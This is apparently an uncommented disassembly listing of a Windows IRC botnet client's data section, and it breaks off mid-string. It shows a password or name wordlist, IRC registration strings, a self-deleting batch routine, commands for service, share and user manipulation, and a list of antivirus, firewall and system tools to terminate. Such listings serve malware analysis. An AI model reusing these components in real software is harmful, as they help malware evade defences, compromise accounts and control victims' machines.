aMaveRIck db 'MaVe{R}icK',0 align 4 aPrometheus db 'prometheus',0 align 10h aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438278o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438274o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438270o align 10h aCem39 db 'cem39',0 ; DATA XREF: ___:0043826Co align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00438268o aTropikal db 'tropikal',0 ; DATA XREF: ___:00438264o align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00438260o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:0043825Co align 4 aUla db 'ula',0 ; DATA XREF: ___:00438258o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438254o aAkden db 'akden',0 ; DATA XREF: ___:00438250o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:0043824Co align 10h aAta29 db 'Ata29',0 ; DATA XREF: ___:00438248o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00438244o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438240o aM41ist db 'M41IST',0 ; DATA XREF: ___:0043823Co align 10h aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438238o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438234o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438230o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:0043822Co align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438228o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:00438224o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00438220o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:0043821Co align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00438218o align 10h off_4386C0 dd offset byte_4B5245 ; DATA XREF: ___:00438214o aSevda db 'sevda',0 ; DATA XREF: ___:00438210o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:0043820Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00438208o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:00438204o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00438200o align 10h aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004381FCo align 4 aHayran db 'hayran',0 ; DATA XREF: ___:004381F8o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004381F4o align 10h aAnkar db 'Ankar',0 ; DATA XREF: ___:004381F0o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004381ECo aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004381E8o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:004381E4o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:004381E0o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:004381DCo align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004381D8o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004381D4o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004381D0o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:004381CCo align 10h aAykut1 db 'aykut1',0 ; DATA XREF: ___:004381C8o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:004381C4o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:004381C0o aHoly db 'holy',0 ; DATA XREF: ___:004381BCo align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:004381B8o align 10h aKebikec db 'kebikec',0 ; DATA XREF: ___:004381B4o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:004381B0o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:004381ACo align 10h aEmre db 'Emre--',0 ; DATA XREF: ___:004381A8o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:004381A4o align 10h aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:004381A0o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:0043819Co align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438198o align 10h aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00438194o aArda db 'arda',0 ; DATA XREF: ___:00438190o align 4 aDevran db 'devran',0 ; DATA XREF: ___:0043818Co align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438188o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00438184o align 10h aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438180o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:0043817Co align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00438178o align 10h aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00438174o align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00438170o align 4 off_438854 dd offset byte_457441 ; DATA XREF: ___:0043816Co dword_438858 dd 414C5941h, 2Dh ; DATA XREF: ___:00438168o aAlbina db 'albina',0 ; DATA XREF: ___:00438164o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438160o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:0043815Co align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438158o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00438154o align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00438150o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:0043814Co align 10h aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438148o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:00438144o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438140o align 10h aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:0043813Co aAslii db 'aslii',0 ; DATA XREF: ___:00438138o align 10h aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00438134o aHaticem db 'haticem',0 ; DATA XREF: ___:00438130o aArzu db 'ARZU',0 ; DATA XREF: ___:0043812Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438128o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00438124o align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00438120o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:0043811Co align 10h aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00438118o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:00438114o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00438110o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:0043810Co align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:00438108o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:00438104o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00438100o aMisssunday db 'misssunday',0 ; DATA XREF: ___:004380FCo align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:004380F8o align 10h aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004380F4o align 10h aBerk19 db 'berk19',0 ; DATA XREF: ___:004380F0o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004380ECo align 10h aErkan27 db 'erkan27',0 ; DATA XREF: ___:004380E8o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004380E4o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004380E0o align 10h aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004380DCo align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:004380D8o aReshma db 'reshma',0 ; DATA XREF: ___:004380D4o align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:004380D0o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:004380CCo align 4 aImra db 'imra',0 ; DATA XREF: ___:004380C8o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:004380C4o align 10h aPuregold db 'puregold',0 ; DATA XREF: ___:004380C0o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:004380BCo align 4 aManee db 'manee',0 ; DATA XREF: ___:004380B8o align 4 aTroller db 'troller',0 ; DATA XREF: ___:004380B4o aLuisa db 'Luisa',0 ; DATA XREF: ___:004380B0o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:004380ACo align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:004380A8o align 10h aJanno db 'janno',0 ; DATA XREF: ___:004380A4o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:004380A0o align 10h aHeval db 'heval',0 ; DATA XREF: ___:0043809Co align 4 aCme db 'cme',0 ; DATA XREF: ___:00438098o aMarcy db 'marcy',0 ; DATA XREF: ___:00438094o align 4 aTalika db 'talika',0 ; DATA XREF: ___:00438090o align 4 aShez db 'Shez',0 ; DATA XREF: ___:0043808Co align 4 aKen db 'ken',0 ; DATA XREF: ___:00438088o aFlexster db 'flexster',0 ; DATA XREF: ___:00438084o align 4 aKoko db 'koko',0 ; DATA XREF: ___:00438080o align 4 aMale db 'male',0 ; DATA XREF: ___:0043807Co align 4 aSwin db 'swin',0 ; DATA XREF: ___:00438078o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00438074o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438070o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:0043806Co align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438068o align 10h aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00438064o aFarooq db 'farooq',0 ; DATA XREF: ___:00438060o align 10h aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:0043805Co align 4 aM_0: ; DATA XREF: ___:00438058o ; ___:004383A4o unicode 0, <M>,0 word_438AC0 dw 4Eh ; DATA XREF: sub_41A367+38r ; ___:00438054o align 4 dword_438AC4 dd 42h ; DATA XREF: ___:00438050o dword_438AC8 dd 56h ; DATA XREF: ___:0043804Co dword_438ACC dd 43h ; DATA XREF: ___:00438048o dword_438AD0 dd 58h ; DATA XREF: ___:00438044o ; ___:004383D8o dword_438AD4 dd 5Ah ; DATA XREF: ___:00438040o dword_438AD8 dd 4Ch ; DATA XREF: ___:0043803Co dword_438ADC dd 4Bh ; DATA XREF: ___:00438038o dword_438AE0 dd 4Ah ; DATA XREF: ___:00438034o dword_438AE4 dd 48h ; DATA XREF: ___:00438030o dword_438AE8 dd 47h ; DATA XREF: ___:0043802Co dword_438AEC dd 46h ; DATA XREF: ___:00438028o ; ___:004383A0o dword_438AF0 dd 44h ; DATA XREF: ___:00438024o dword_438AF4 dd 53h ; DATA XREF: ___:00438020o dword_438AF8 dd 50h ; DATA XREF: ___:00438018o dword_438AFC dd 4Fh ; DATA XREF: ___:00438014o dword_438B00 dd 55h ; DATA XREF: ___:0043800Co word_438B04 dw 59h ; DATA XREF: sub_41A68B+38r ; ___:00438008o align 4 dword_438B08 dd 54h ; DATA XREF: ___:00438004o dword_438B0C dd 52h ; DATA XREF: ___:00438000o dword_438B10 dd 45h ; DATA XREF: ___:00437FFCo dword_438B14 dd 57h ; DATA XREF: ___:00437FF8o dword_438B18 dd 51h ; DATA XREF: ___:00437FF4o dword_438B1C dd 62h ; DATA XREF: ___:00437FE8o ; ___:004383B4o dword_438B20 dd 78h ; DATA XREF: ___:00438334o dword_438B24 dd 7Ah ; DATA XREF: ___:0043833Co ; ___:0043836Co dword_438B28 dd 6Ch ; DATA XREF: ___:00438308o dword_438B2C dd 68h ; DATA XREF: ___:004382F4o dword_438B30 dd 67h ; DATA XREF: ___:004382F0o ; ___:00438370o dword_438B34 dd 66h ; DATA XREF: ___:004382ECo dword_438B38 dd 64h ; DATA XREF: ___:004382E4o dword_438B3C dd 79h ; DATA XREF: ___:00438338o dword_438B40 dd 77h ; DATA XREF: ___:00438330o dword_438B44 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B1E+C3o dword_438B50 dd 323334h ; DATA XREF: sub_417B1E+88o dword_438B54 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B1E+67o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C15+98o db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E35+BCo ; sub_417E35+175r ... align 4 dword_438B9C dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_41827E+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_438BE8 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_41827E+E3o ; --------------------------------------------------------------------------- loc_438C04: ; DATA XREF: sub_41827E+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_438C18 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_41827E+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41864A+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418791+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418835+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418857+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418857+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418857+48o align 4 unk_438CCC db 2Dh ; - ; DATA XREF: sub_4189DF+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_438CFC db 2Dh ; - ; DATA XREF: sub_4189DF+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_438D24 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4189DF+5Co dd 65726165h, 64h off_438D40 dd offset aAdd ; DATA XREF: sub_418BBF+6Dr ; sub_418FA3+50r ... ; "Add" off_438D44 dd offset aAdded ; DATA XREF: sub_418BBF+2Dr ; sub_418FA3+82r ... ; "Added" dword_438D48 dd 0 ; DATA XREF: sub_418BBF+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438DB4h, 438DACh, 2, 438DA0h, 438D94h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:00438D74o aStop_0 db 'Stop',0 ; DATA XREF: ___:00438D70o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00438D68o aStart_0 db 'Start',0 ; DATA XREF: ___:00438D64o align 4 aListed db 'Listed',0 ; DATA XREF: ___:00438D5Co align 4 aList_1 db 'List',0 ; DATA XREF: ___:00438D58o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:00438D50o aDelete_0 db 'Delete',0 ; DATA XREF: ___:00438D4Co align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_438D44o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_438D40o unk_438E08 db 2Dh ; - ; DATA XREF: sub_418BBF+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438E2C db 2Dh ; - ; DATA XREF: sub_418BBF+55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438E58 db 2Dh ; - ; DATA XREF: sub_418BBF+38o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418CE8+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418CE8:loc_418E00o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418CE8:loc_418DF9o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418CE8:loc_418DF2o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418CE8:loc_418DEBo align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418CE8:loc_418DE4o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418CE8:loc_418DDDo align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418CE8:loc_418DD6o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418CE8:loc_418DCFo align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418CE8:loc_418DC8o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418CE8:loc_418DC1o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418CE8:loc_418D96o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418CE8:loc_418D8Fo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418CE8:loc_418D88o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418CE8:loc_418D81o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418CE8+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418CE8:loc_418D56o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418CE8:loc_418D4Co aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418CE8:loc_418D42o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418CE8:loc_418D38o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418CE8:loc_418D2Eo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418CE8+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418E66+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_418E66:loc_418F32o aStarting db ' Starting',0 ; DATA XREF: sub_418E66:loc_418F2Bo aStoping db ' Stoping',0 ; DATA XREF: sub_418E66:loc_418F24o aRunning db ' Running',0 ; DATA XREF: sub_418E66:loc_418F1Do aContinuing db ' Continuing',0 ; DATA XREF: sub_418E66:loc_418F16o aPausing db ' Pausing',0 ; DATA XREF: sub_418E66:loc_418F0Fo aPaused_0 db ' Paused',0 ; DATA XREF: sub_418E66:loc_418F08o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418E66+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418E66+25o align 4 unk_4393AC db 2Dh ; - ; DATA XREF: sub_418FA3+ABo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_4393D0 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418FA3+89o dd 73252720h, 27h unk_4393EC db 2Dh ; - ; DATA XREF: sub_418FA3+57o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419198+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_419198+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_419198+B5o unk_439438 db 2Dh ; - ; DATA XREF: sub_419198+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_419198+26o align 4 unk_439498 db 2Dh ; - ; DATA XREF: sub_4192B9+B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_4394C0 db 2Dh ; - ; DATA XREF: sub_4192B9+94o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_4394F0 db 2Dh ; - ; DATA XREF: sub_4192B9+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439510 db 2Dh ; - ; DATA XREF: sub_4193FF+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4193FF+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4193FF+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4193FF+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4193FF+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4193FF+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4193FF+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4193FF+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4193FF+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4193FF+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4193FF+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4193FF+1CBo align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4193FF+1A0o align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4193FF+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4193FF+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4193FF+125o aGuest db 'Guest',0 ; DATA XREF: sub_4193FF:loc_419518o align 10h aUser_0 db 'User',0 ; DATA XREF: sub_4193FF:loc_419511o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_4193FF:loc_41950Ao align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4193FF+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4193FF+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4193FF+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_4193FF+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4197CD+14Fo align 4 unk_4396CC db 2Dh ; - ; DATA XREF: sub_4197CD+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4197CD+BEo align 10h unk_439700 db 2Dh ; - ; DATA XREF: sub_4197CD+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4197CD+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41994D:loc_419A6Ao align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41994D:loc_419A63o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41994D:loc_419A5Co align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41994D:loc_419A55o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41994D:loc_419A4Eo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41994D:loc_419A31o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41994D:loc_419A2Ao align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41994D:loc_419A23o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41994D+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41994D:loc_4199F8o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41994D:loc_4199F1o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41994D:loc_4199EAo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41994D:loc_4199E0o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41994D+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41994D:loc_4199BAo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41994D:loc_4199B0o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41994D:loc_4199A6o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41994D:loc_41999Co align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41994D:loc_419992o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41994D+3Bo align 4 dword_439A08 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419A81+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439A34 db 2Dh ; - ; DATA XREF: sub_419A81+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_439A60 dd offset aRegedit_exe ; DATA XREF: sub_419BAA+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_439B68 dd offset dword_439B5C dd offset dword_439B50 dd offset dword_439B44 dd offset dword_439B38 dd offset dword_439B2C dd offset dword_439B1C dd offset dword_439B10 dd offset dword_439B04 dd offset dword_439AF8 dd offset dword_439AEC dd offset dword_439ADC dd offset dword_439AD0 dd offset dword_439AC0 dword_439AC0 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419BAA+ECo ; ___:00439ABCo dword_439AD0 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439AB8o dword_439ADC dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439AB4o dword_439AEC dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439AB0o dword_439AF8 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439AACo dword_439B04 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439AA8o dword_439B10 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439AA4o dword_439B1C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439AA0o dword_439B2C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439A9Co dword_439B38 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439A98o dword_439B44 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439A94o dword_439B50 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439A90o dword_439B5C dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:00439A8Co dword_439B68 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439A88o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439A84o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439A80o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:00439A7Co align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439A78o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439A74o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439A70o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:00439A6Co aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:00439A68o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:00439A64o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_439A60o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419BAA+191o align 4 unk_439C18 db 2Dh ; - ; DATA XREF: sub_419DD9:loc_419E60o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db 